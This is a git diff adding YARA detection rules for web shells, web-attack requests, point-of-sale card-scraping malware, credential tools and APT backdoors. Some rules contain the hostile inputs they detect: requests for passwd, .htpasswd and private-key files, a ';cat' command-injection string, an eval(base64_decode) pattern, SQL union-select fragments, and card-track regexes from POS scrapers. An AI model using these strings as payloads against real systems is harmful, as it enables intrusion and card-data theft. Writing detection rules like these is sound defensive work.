+	$s6 =  "GET /passwd"
+	$s7 =  "GET /phpmyadmin2"
+	$s10 = "GET /response.write"
+	$s11 = "GET /&dir"
+	$s13 = "GET /.htpasswd"
+	$s14 = "GET /htaccess.bak"
+	$s15 = "GET /htaccess.txt"
+	$s16 = "GET /.bash_history"
+	$s17 = "GET /_sqladm"
+	$s18 = "'$IFS/etc/privpasswd;'"
+	$s19 = ";cat /tmp/config/usr.ini"
+	$s21 = "eval(base64_decode"
+	$s23 = "eval(gzinflate"
+	$s25 = "%5Bcmd%5D"
+	$s26 = "[cmd]"
+	$s27 = "union+select" nocase
+	$s28 = "UNION%20SELECT" nocase
+	$s29 = "(str_rot13"
+	$s30 = "GET /private.key"
+	$s31 = "GET /database.inc"
+	$s32 = "GET /webstats.html"
+	$s33 = "GET /schema.sql"
+	$s34 = "GET /customers"
+	$s35 = "GET /images/passwords.mdb"
+	$s36 = "GET /web-console"
+	$s37 = "GET /phpmyadmin/main.php"
+	$s38 = "GET /mysql/main.php"
+	$s39 = "GET /memberlist"
+	$s40 = "GET /logs"
+	$s41 = "GET /%26cat%20%2fetc%2fpasswd"
+	$s42 = "GET /New%20folder%20(2)"
+	$s43 = "GET /response.write(9674459*9948960)"
+	$s44 = "GET /index.php?"
+	$s45 = "concat(user_login"
+	$s46 = "),user_pass)"
+	$s47 = "sqlmap"
+condition:
+	any of ($s*)
+}
+
+rule web_shell_crews
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Web Shell Crews"
+	version = "0.6"
+	reference = "http://www.exploit-db.com/exploits/24905/"
+	date = "08/19/2014"
+strings:
+	$s1 = "v0pCr3w"
+	$s2 = "BENJOLSHELL"
+	$s3 = "EgY_SpIdEr"
+	$s4 = "<title>HcJ"
+	$s5 = "0wn3d"
+	$s6 = "OnLy FoR QbH"
+	$s7 = "wSiLm"
+	$s8 = "b374k r3c0d3d"
+	$s9 = "x'1n73ct|d"
+	$s10 = "## CREATED BY KATE ##"
+	$s11 = "Ikram Ali"
+	$s12 = "FeeLCoMz"
+	$s13 = "s3n4t00r"
+	$s14 = "FaTaLisTiCz_Fx"
+	$s15 = "feelscanz.pl"
+	$s16 = "##[ KONFIGURASI"
+	$s17 = "Created by Kiss_Me"
+	$s18 = "Casper_Cell"
+	$s19 = "# [ CREWET ] #"
+	$s20 = "BY MACKER"
+	$s21 = "FraNGky"
+	$s22 = "1dt.w0lf"
+	$s23 = "Modification By iFX"
+	$s24 = "Dumped by C99madShell.SQL"
+	$s25 = "Hacked By Alaa"
+	$s26 = "XXx_Death_xXX"
+	$s27 = "zehir3"
+	$s28 = "zehirhacker"
+	$s29 = "Shell Tcrew"
+	$s30 = "w4ck1ng"
+	$s31 = "TriCkz"
+	$s32 = "TambukCrew"
+	$s33 = "Dumped by c100.SQL"
+	$s34 = "Hacker By Task QQ"
+	$s35 = "JyHackTeam"
+	$s36 = "byMesaj"
+	$s37 = "by STHx"
+	$s38 = "hacker!@#"
+	$s39 = "Fucked by 7sign"
+	$s40 = "Hacked By:NsQk"
+	$s41 = "Ch1na HLD Secur1ty Team"
+	$s42 = "hackxsy.net"
+	$s43 = "[Black Tie]"
+	$s44 = "[ Black Tie ]"
+	$s45 = "X4ck By Death"
+	$s46 = "Recoded bY 0x14113"
+	$s47 = "0x14113_Server Shell"
+	$s48 = "BY 0x14113"
+	$s49 = "[ 0x14113 ASP Shell ]"
+	$s50 = "ASP Shell"
+	$s51 = "Hacked by @iSecGroup"
+	$s52 = "@iSecGroup"
+	$s53 = "Lulzsecroot"
+	$s54 = "KingDefacer"
+	$s55 = "Turkish H4CK3RZ"
+	$s56 = "by q1w2e3r4"
+	$s57 = "By Ironfist"
+	$s58 = "AK-74 Security"
+	$s59 = "ak74-team.net"
+	$s60 = "ANTICHAT.RU" nocase
+	$s61 = "ADMINSTRATORS TOOLKIT"
+	$s62 = "ASPSpyder"
+	$s63 = "Shell v 2.1 Biz"
+	$s64 = "Ayyildiz Tim"
+	$s65 = "b374k"
+	$s66 = "Cool Surfer"
+	$s67 = "vINT 21h"
+	$s68 = "c0derz shell"
+	$s69 = "Emperor Hacking TEAM"
+	$s70 = "Comandos Exclusivos"
+	$s71 = "Gamma Group"
+	$s72 = "GFS Web-Shell"
+	$s73 = "Group Freedom Search"
+	$s74 = "h4ntu shell"
+	$s75 = "powered by tsoi"
+	$s76 = "SaNaLTeRoR"
+	$s77 = "inDEXER"
+	$s78 = "ReaDer"
+	$s79 = "JspWebshell"
+	$s80 = "zero.cnbct.org"
+	$s81 = "Aventis KlasVayv"
+	$s82 = "KlasVayv" nocase
+	$s825 = "Kodlama by BLaSTER"
+	$s83 = "TurkGuvenligi"
+	$s84 = "BLaSTER"
+	$s85 = "lama's'hell"
+	$s86 = "Liz0ziM"
+	$s87 = "Loader'z WEB Shell"
+	$s88 = "Loader Pro-Hack.ru"
+	$s89 = "D3vilc0de"
+	$s90 = "lostDC shell"
+	$s91 = "MAX666"
+	$s92 = "Hacked by Silver"
+	$s93 = ".:NCC:."
+	$s94 = "National Cracker Crew"
+	$s95 = "n-c-c.6x.to"
+	$s96 = "Cr4sh_aka_RKL"
+	$s97 = "PHANTASMA"
+	$s98 = "NeW CmD"
+	$s99 = "z0mbie"
+	$s100 = "phpRemoteView"
+	$s101 = "php.spb.ru"
+	$s102 = "Mehdi"
+	$s103 = "HolyDemon"
+	$s104 = "infilak"
+	$s105 = "Rootshell"
+	$s106 = "Emperor"
+	$s107 = "Iranian Hackers"
+	$s108 = "G-Security"
+	$s109 = "by DK"
+	$s110 = "Simorgh"
+	$s111 = "SimShell"
+	$s112 = "AventGrup"
+	$s113 = "Sincap"
+	$s114 = "zyklon"
+	$s115 = "lovealihack"
+	$s116 = "alihack"
+condition:
+	not uint16(0) == 0x5A4D and any of ($s*)
+}
+
+rule windows_credentials_editor
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "http://www.ampliasecurity.com/research/wce12_uba_ampliasecurity_eng.pdf"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "NTLMCredentials"
+	$s2 = "%d kerberos"
+	$s3 = "WCE" nocase
+	$s4 = "LSASS.EXE" nocase
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+rule winrar_4xx
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "WinRar 4.11 CMD line version"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "\\WinRAR\\rar\\"
+	$s2 = "WinRAR"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+rule wp_shell_crew
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "http://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/29/2014"
+strings:
+	$mz = { 4d 5a } // MZ
+	$s1 = "IsWow64Process"
+	$s2 = "svchost.exe -k netsvcs"
+	$s3 = "Services\\%s\\Parameters"
+	$s4 = "%s %s %s"
+	$s5 = "-%s-%03d"
+	$s6 = "127.0.0.1"
+	$s7 = "\\temp\\" fullword
+condition:
+	($mz at 0) and (all of ($s*))
+}
+
+rule zend_framework
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Zend Framework"
+	version = "0.3"
+	date = "12/29/2013"
+strings:
+	$php = "<?php"
+	$s = "$zend_framework" nocase
+condition:
+	not uint16(0) == 0x5A4D and $php and $s
+}
+
+rule rtf_Kaba_jDoe
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "APT.Kaba"
+	filetype = "RTF"
+	version = "0.1"
+	description = "https://github.com/1aN0rmus/Yara"
+	description = "fe439af268cd3de3a99c21ea40cf493f, d0e0e68a88dce443b24453cc951cf55f, b563af92f144dea7327c9597d9de574e, and def0c9a4c732c3a1e8910db3f9451620"
+	date = "2013-12-10"
+strings:
+  	$magic1 = { 7b 5c 72 74 30 31 } // {\rt01
+  	$magic2 = { 7b 5c 72 74 66 31 } // {\rtf1
+  	$magic3 = { 7b 5c 72 74 78 61 33 } // {\rtxa3
+  	$author1 = { 4A 6F 68 6E 20 44 6F 65 } // "John Doe"
+  	$author2 = { 61 75 74 68 6f 72 20 53 74 6f 6e 65 } // "author Stone"
+	$string1 = { 44 30 [16] 43 46 [23] 31 31 45 }
+condition:
+  	($magic1 or $magic2 or $magic3 at 0) and all of ($author*) and $string1
+} 
+
+rule rtf_yahoo_ken
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Yahoo Ken"
+	filetype = "RTF"
+	version = "0.1"
+	description = "Test rule"
+	description = "https://github.com/1aN0rmus/Yara"
+	date = "2013-12-14"
+strings:
+	$magic1 = { 7b 5c 72 74 30 31 } // {\rt01
+	$magic2 = { 7b 5c 72 74 66 31 } // {\rtf1
+	$magic3 = { 7b 5c 72 74 78 61 33 } // {\rtxa3
+	$author1 = { 79 61 68 6f 6f 20 6b 65 63 } // "yahoo ken"
+condition:
+	($magic1 or $magic2 or $magic3 at 0) and $author1
+} 
+
+rule Backdoor_APT_Mongall
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Backdoor.APT.Mongall"
+	version = "0.1"
+	reference = "fd69a799e21ccb308531ce6056944842" 
+	description = "https://github.com/1aN0rmus/Yara"
+	date = "01/04/2014"
+strings:
+	$author  = "author user"
+	$title   = "title Vjkygdjdtyuj" nocase
+	$comp    = "company ooo"
+	$cretime = "creatim\\yr2012\\mo4\\dy19\\hr15\\min10"
+	$passwd  = "password 00000000"
+condition:
+        all of them
+}
+
+rule backdoor_apt_pcclient
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "APT.PCCLient"
+	filetype = "DLL"
+	version = "0.1"
+	description = "https://github.com/1aN0rmus/Yara"
+	description = "Detects the dropper: 869fa4dfdbabfabe87d334f85ddda234 AKA dw20.dll/msacm32.drv dropped by 4a85af37de44daf5917f545c6fd03902 (RTF)"
+	date = "2012-10"
+strings:
+	$magic = { 4d 5a } // MZ
+	$string1 = "www.micro1.zyns.com"
+	$string2 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"
+	$string3 = "msacm32.drv" wide
+	$string4 = "C:\\Windows\\Explorer.exe" wide
+	$string5 = "Elevation:Administrator!" wide
+	$string6 = "C:\\Users\\cmd\\Desktop\\msacm32\\Release\\msacm32.pdb"
+condition:
+	$magic at 0 and 4 of ($string*)
+}
+
diff --git a/yara-mikesxrs/patrickrolsen/port_forward_tool.yar b/yara-mikesxrs/patrickrolsen/port_forward_tool.yar
new file mode 100644
index 0000000..ee4a285
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/port_forward_tool.yar
@@ -0,0 +1,17 @@
+rule port_forward_tool
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Port Forwarding Tool"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "%d.%d.%d.%d"
+	$s2 = "%i.%i.%i.%i on port %i"
+	$s3 = "connect to %s:%i"
+	$s4 = "%s:%i established"
+	$s5 = "%s:%i closed"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
diff --git a/yara-mikesxrs/patrickrolsen/pos_malware.yar b/yara-mikesxrs/patrickrolsen/pos_malware.yar
new file mode 100644
index 0000000..888206e
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/pos_malware.yar
@@ -0,0 +1,365 @@
+// Point of Sale (POS) Malware and Tools used during POS compromises
+
+rule blackpos_v2
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.1"
+	reference = "http://blog.nuix.com/2014/09/08/blackpos-v2-new-variant-or-different-family"
+strings:
+	$s1 = "Usage: -[start|stop|install|uninstall"
+	$s2 = "\\SYSTEM32\\sc.exe config LanmanWorkstation"
+	$s3 = "t.bat"
+	$s4 = "mcfmisvc"
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+rule misc_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS Malware"
+strings:
+	$s1 = "KAPTOXA"
+	$s2 = "cmd /c net start %s"
+	$s3 = "pid:"
+	$s4 = "%ADD%"
+	$s5 = "COMSPEC"
+	$s6 = "KARTOXA"
+condition:
+	uint16(0) == 0x5A4D and 3 of ($s*)
+}
+
+rule unknown
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Unknown POS"
+strings:
+	$s1 = "a.exe" wide
+	$s2 = "Can anyone test" wide
+	$s3 = "I m in computer class now" wide
+condition:
+	uint16(0) == 0x5A4D and 3 of ($s*)
+}
+
+rule regex_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS malware - Regex"
+strings:
+	$n1 = "REGEXEND" nocase
+	$n2 = "RegExpr" nocase
+	$n3 = "regex"
+	$s4 = "[1-5][0-9]{14}=(?!1201|1202|1203|1204|11|10|09|08|07|06|05|04|03|02)[0-9]{5}[0-9]*"
+	$s5 = "[47][0-9]{13}=(?!1201|1202|1203|1204|11|10|09|08|07|06|05|04|03|02)[0-9]{5}[0-9]*"
+	$s6 = "(?:0[0-5]|[68][0-9])[0-9]{11}=(?!1201|1202|1203|1204|11|10|09|08|07|06|05|04|03|02)[0-9]{5}[0-9]*"
+	$s7 = "(?:011|5[0-9]{2})[0-9]{12}=(?!1201|1202|1203|1204|11|10|09|08|07|06|05|04|03|02)[0-9]{5}[0-9]*"
+	$s8 = "(?:2131|1800|35\\d{3})\\d{11}=(?!1201|1202|1203|1204|11|10|09|08|07|06|05|04|03|02)[0-9]{5}[0-9]*"
+	$s9 = "([0-9]{15,16}[D=](0[7-9]|1[0-5])((0[1-9])|(1[0-2]))[0-9]{8,30})"
+	$s10 = "((b|B)[0-9]{13,19}\\^[A-Za-z\\s]{0,30}\\/[A-Za-z\\s]{0,30}\\^(0[7-9]|1[0-5])((0[1-9])|(1[0-2]))[0-9\\s]{3,50}[0-9]{1})"
+	$s11 = "[0-9]*\\^[a-zA-Z]*/[a-zA-Z ]*\\^[0-9]*"
+	$s12 = "\\d{15,19}=\\d{13,}"
+	$s13 = "\\;?[3-9]{1}[0-9]{12,19}[D=\\u0061][0-9]{10,30}\\??"
+	$s14 = "[0-9]{12}(?:[0-9]{3})?=(?!1201|1202|1203|1204|11|10|09|08|07|06|05|04|03|02)[0-9]{5}[0-9]*"
+condition:
+	uint16(0) == 0x5A4D and 1 of ($n*) and 1 of ($s*)
+}
+
+rule regexpr_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS malware - RegExpr"
+strings:
+	$s1 = "RegExpr" nocase
+	$s2 = "Data.txt"
+	$s3 = "Track1"
+	$s4 = "Track2"
+condition:
+	uint16(0) == 0x5A4D and 3 of ($s*)
+}
+
+rule reg_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS malware - RegExpr"
+strings:
+	$s1 = "T1_FOUND: %s"
+	$s2 = "id=%s&log=%s"
+	$s3 = "\\d{15,19}=\\d{13,}"
+condition:
+	uint16(0) == 0x5A4D and 2 of ($s*)
+}
+
+rule sets_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS malware - Sets"
+strings:
+	$s1 = "GET /sets.txt"
+condition:
+	uint16(0) == 0x5A4D and $s1
+}
+
+rule monitor_tool_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS malware - Monitoring Tool??"
+strings:
+	$s1 = "RCPT TO"
+	$s2 = "MAIL FROM"
+	$s3 = "AUTH LOGIN"
+	$s4 = "Reply-To"
+	$s5 = "X-Mailer"
+	$s6 = "crypto"
+	$s7 = "test335.txt" wide
+	$s8 = "/c del"
+condition:
+	uint16(0) == 0x5A4D and 7 of ($s*)
+}
+
+rule pstgdump
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "pstgdump"
+strings:
+	$s1 = "fgdump\\pstgdump"
+	$s2 = "pstgdump"
+	$s3 = "Outlook"
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+rule keyfinder_tool
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Magical Jelly Bean KeyFinder"
+strings:
+	$s1 = "chgxp.vbs"
+	$s2 = "officekey.exe"
+	$s3 = "findkey.exe"
+	$s4 = "xpkey.exe"
+condition:
+	uint16(0) == 0x5A4D and 2 of ($s*)
+}
+
+rule memdump_diablo
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Process Memory Dumper - DiabloHorn"
+strings:
+	$s1 = "DiabloHorn"
+	$s2 = "Process Memory Dumper"
+	$s3 = "pid-%s.dmp"
+	$s4 = "Pid %d in not acessible" // SIC
+	$s5 = "memdump.exe"
+	$s6 = "%s-%d.dmp"
+condition:
+	uint16(0) == 0x5A4D and 3 of ($s*)
+}
+
+
+rule sysocmgr
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "System stand-alone Optional Component Manager - http://support.microsoft.com/kb/222444"
+strings:
+	$s1 = "SYSOCMGR.EXE" wide
+	$s2 = "System stand-alone Optional Component Manager" wide
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+rule lacy_keylogger
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Appears to be a form of keylogger."
+strings:
+	$s1 = "Lacy.exe" wide
+	$s2 = "Bldg Chive Duel Rip Query" wide
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+rule searchinject
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Usage: SearchInject <PID1>[PID2][PID3] - It loads Searcher.dll (appears to be hard coded)"
+strings:
+	$s1 = "SearchInject"
+	$s2 = "inject base:"
+	$s3 = "Searcher.dll" nocase
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+rule heistenberg_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS Malware"
+strings:
+	$s1 = "KARTOXA"
+	$s2 = "dmpz.log"
+	$s3 = "/api/process.php?xy="
+	$s4 = "User-Agent: PCICompliant" // PCICompliant/3.33
+	$s6 = "%s:*:Enabled:%s"
+condition:
+	uint16(0) == 0x5A4D and 3 of ($s*)
+}
+
+rule pos_jack
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Point of Sale (POS) Malware"
+	version = "0.1"
+	reference = "http://blog.spiderlabs.com/2014/02/jackpos-the-house-always-wins.html"
+	date = "2/22/2014"
+strings:
+	$pdb1 = "\\ziedpirate.ziedpirate-PC\\"
+	$pdb2 = "\\sop\\sop\\"
+condition:
+	uint16(0) == 0x5A4D and 1 of ($pdb*)
+}
+
+rule pos_memory_scrapper_
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Point of Sale (POS) Malware Memory Scraper"
+	version = "0.3"
+	description = "POS Memory Scraper"
+	date = "01/30/2014"
+strings:
+	$s1 = "kartoxa" nocase
+	$s2 = "CC2 region:"
+	$s3 = "CC memregion:"
+	$s4 = "target pid:"
+	$s5 = "scan all processes:"
+	$s6 = "<pid> <PATTERN>"
+	$s7 = "KAPTOXA"
+	$s8 = "ATTERN"
+	$s9 = "\\svhst%p"
+condition:
+	uint16(0) == 0x5A4D and 3 of ($s*)
+}
+
+rule pos_malwre_dexter_stardust
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Dexter Malware - StarDust Variant"
+	version = "0.1"
+	description = "Table 2 arbornetworks.com/asert/wp-content/uploads/2013/12/Dexter-and-Project-Hook-Break-the-Bank.pdf"
+	reference = "16b596de4c0e4d2acdfdd6632c80c070, 2afaa709ef5260184cbda8b521b076e1, and e3dd1dc82ddcfaf410372ae7e6b2f658"
+	date = "12/30/2013"
+strings:
+	$s1 = "ceh_3\\.\\ceh_4\\..\\ceh_6"
+	$s2 = "Yatoed3fe3rex23030am39497403"
+	$s3 = "Poo7lo276670173quai16568unto1828Oleo9eds96006nosysump7hove19"
+	$s4 = "CommonFile.exe"
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+    
+rule pos_malware_project_hook
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Project Hook"
+	version = "0.1"
+	description = "Table 1 arbornetworks.com/asert/wp-content/uploads/2013/12/Dexter-and-Project-Hook-Break-the-Bank.pdf"
+	reference = "759154d20849a25315c4970fe37eac59"
+	date = "12/30/2013"
+strings:
+	$s1 = "CallImage.exe"
+	$s2 = "BurpSwim"
+	$s3 = "Work\\Project\\Load"
+	$s4 = "WortHisnal"
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+rule pdb_strings_Rescator
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Target Attack"
+	version = "0.3"
+	description = "Rescator PDB strings within binaries"
+	date = "01/30/2014"
+strings:
+	$pdb1 = "\\Projects\\Rescator" nocase
+condition:
+	uint16(0) == 0x5A4D and $pdb1
+}
+
+rule pos_uploader
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Point of Sale (POS) Malware"
+    reference = "http://blogs.mcafee.com/mcafee-labs/analyzing-the-target-point-of-sale-malware"
+	version = "0.1"
+	description = "Testing the base64 encoded file in sys32"
+	date = "01/30/2014"
+strings:
+	$s1 = "cmd /c net start %s"
+	$s2 = "ftp -s:%s"
+	$s3 = "data_%d_%d_%d_%d_%d.txt"
+	$s4 = "\\uploader\\"
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+rule winxml_dll
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Point of Sale (POS) Malware"
+    reference = "ce0296e2d77ec3bb112e270fc260f274"
+	version = "0.1"
+	description = "Testing the base64 encoded file in sys32"
+	date = "01/30/2014"
+strings:
+	$s1 = "\\system32\\winxml.dll"
+	//$s2 = "cmd /c net start %s"
+	//$s3 = "=== pid:"
+	//$s4 = "GOTIT"
+	//$s5 = ".memdump"
+	//$s6 = "POSWDS"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+rule pos_chewbacca
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Point of Sale (POS) Malware"
+    reference = "https://www.securelist.com/en/blog/208214185/ChewBacca_a_new_episode_of_Tor_based_Malware"
+    hashes = "21f8b9d9a6fa3a0cd3a3f0644636bf09, 28bc48ac4a92bde15945afc0cee0bd54"
+	version = "0.2"
+	description = "Testing the base64 encoded file in sys32"
+	date = "01/30/2014"
+strings:
+	$s1 = "tor -f <torrc>"
+	$s2 = "tor_"
+	$s3 = "umemscan"
+	$s4 = "CHEWBAC"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
diff --git a/yara-mikesxrs/patrickrolsen/pos_memory.yar b/yara-mikesxrs/patrickrolsen/pos_memory.yar
new file mode 100644
index 0000000..38c9e7d
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/pos_memory.yar
@@ -0,0 +1,20 @@
+rule pos_memory_scrapper
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Point of Sale (POS) Malware Memory Scraper"
+	version = "0.1"
+	description = "POS Memory Scraper"
+    reference = "7f9cdc380eeed16eaab3e48d59f271aa -> http://www.xylibox.com/2013/05/dump-memory-grabber-blackpos.html"
+	date = "12/30/2013"
+strings:
+    $string1 = "kartoxa" nocase
+    $string2 = "CC2 region:"
+    $string3 = "CC memregion:"
+    $string4 = "target pid:"
+    $string5 = "scan all processes:"
+    $string6 = "<pid> <PATTERN>"
+    $string7 = "KAPTOXA"
+condition:
+	all of ($string*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/pos_memory_scrapper.yar b/yara-mikesxrs/patrickrolsen/pos_memory_scrapper.yar
new file mode 100644
index 0000000..38c9e7d
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/pos_memory_scrapper.yar
@@ -0,0 +1,20 @@
+rule pos_memory_scrapper
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Point of Sale (POS) Malware Memory Scraper"
+	version = "0.1"
+	description = "POS Memory Scraper"
+    reference = "7f9cdc380eeed16eaab3e48d59f271aa -> http://www.xylibox.com/2013/05/dump-memory-grabber-blackpos.html"
+	date = "12/30/2013"
+strings:
+    $string1 = "kartoxa" nocase
+    $string2 = "CC2 region:"
+    $string3 = "CC memregion:"
+    $string4 = "target pid:"
+    $string5 = "scan all processes:"
+    $string6 = "<pid> <PATTERN>"
+    $string7 = "KAPTOXA"
+condition:
+	all of ($string*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/procdump.yar b/yara-mikesxrs/patrickrolsen/procdump.yar
new file mode 100644
index 0000000..04a7c7a
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/procdump.yar
@@ -0,0 +1,15 @@
+rule procdump
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Procdump"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "\\Procdump\\"
+	$s2 = "procdump"
+	$s3 = "Process"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/psexec_generic.yar b/yara-mikesxrs/patrickrolsen/psexec_generic.yar
new file mode 100644
index 0000000..fb7fe61
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/psexec_generic.yar
@@ -0,0 +1,16 @@
+rule psexec_generic
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Sysinternals PsExec Generic"
+	filetype = "EXE"
+	version = "0.2"
+	date = "1/30/2014"
+strings:
+	$s1 = "PsInfSvc"
+	$s2 = "%s -install"
+	$s3 = "%s -remove"
+	$s4 = "psexec" nocase
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/pstgdump.yar b/yara-mikesxrs/patrickrolsen/pstgdump.yar
new file mode 100644
index 0000000..3344f20
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/pstgdump.yar
@@ -0,0 +1,12 @@
+rule pstgdump
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "pstgdump"
+strings:
+	$s1 = "fgdump\\pstgdump"
+	$s2 = "pstgdump"
+	$s3 = "Outlook"
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/rtf_Kaba_jDoe.yar b/yara-mikesxrs/patrickrolsen/rtf_Kaba_jDoe.yar
new file mode 100644
index 0000000..6abfba0
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/rtf_Kaba_jDoe.yar
@@ -0,0 +1,20 @@
+rule rtf_Kaba_jDoe
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "APT.Kaba"
+	filetype = "RTF"
+	version = "0.1"
+	description = "https://github.com/1aN0rmus/Yara"
+	description = "fe439af268cd3de3a99c21ea40cf493f, d0e0e68a88dce443b24453cc951cf55f, b563af92f144dea7327c9597d9de574e, and def0c9a4c732c3a1e8910db3f9451620"
+	date = "2013-12-10"
+strings:
+  	$magic1 = { 7b 5c 72 74 30 31 } // {\rt01
+  	$magic2 = { 7b 5c 72 74 66 31 } // {\rtf1
+  	$magic3 = { 7b 5c 72 74 78 61 33 } // {\rtxa3
+  	$author1 = { 4A 6F 68 6E 20 44 6F 65 } // "John Doe"
+  	$author2 = { 61 75 74 68 6f 72 20 53 74 6f 6e 65 } // "author Stone"
+	$string1 = { 44 30 [16] 43 46 [23] 31 31 45 }
+condition:
+  	($magic1 or $magic2 or $magic3 at 0) and all of ($author*) and $string1
+} 
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/rtf_multiple.yar b/yara-mikesxrs/patrickrolsen/rtf_multiple.yar
new file mode 100644
index 0000000..cecc4ae
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/rtf_multiple.yar
@@ -0,0 +1,17 @@
+rule rtf_multiple
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Multiple"
+	version = "0.1"
+	reference = "fd69a799e21ccb308531ce6056944842" 
+	date = "01/04/2014"
+strings:
+	$rtf = { 7b 5c 72 74 ?? ?? } // {\rt01 {\rtf1 {\rtxa
+    $string1  = "author user"
+	$string2   = "title Vjkygdjdtyuj" nocase
+	$string3    = "company ooo"
+	$string4  = "password 00000000"
+condition:
+    ($rtf at 0) and (all of ($string*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/rtf_yahoo_ken.yar b/yara-mikesxrs/patrickrolsen/rtf_yahoo_ken.yar
new file mode 100644
index 0000000..fd29a16
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/rtf_yahoo_ken.yar
@@ -0,0 +1,18 @@
+rule rtf_yahoo_ken
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Yahoo Ken"
+	filetype = "RTF"
+	version = "0.1"
+	description = "Test rule"
+	description = "https://github.com/1aN0rmus/Yara"
+	date = "2013-12-14"
+strings:
+	$magic1 = { 7b 5c 72 74 30 31 } // {\rt01
+	$magic2 = { 7b 5c 72 74 66 31 } // {\rtf1
+	$magic3 = { 7b 5c 72 74 78 61 33 } // {\rtxa3
+	$author1 = { 79 61 68 6f 6f 20 6b 65 63 } // "yahoo ken"
+condition:
+	($magic1 or $magic2 or $magic3 at 0) and $author1
+} 
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/rule _Armadillo_v171 b/yara-mikesxrs/patrickrolsen/rule _Armadillo_v171
new file mode 100644
index 0000000..6306ade
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/rule _Armadillo_v171	
@@ -0,0 +1,11 @@
+rule _Armadillo_v171
+{
+meta:
+	Author = "malwarecookbook"
+	description = "Armadillo v1.71"
+	reference = "https://malwarecookbook.googlecode.com/svn-history/r5/trunk/3/4/packer.yara"
+strings:
+	$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1}
+condition:
+	$0 at entrypoint
+}
\ No newline at end of file
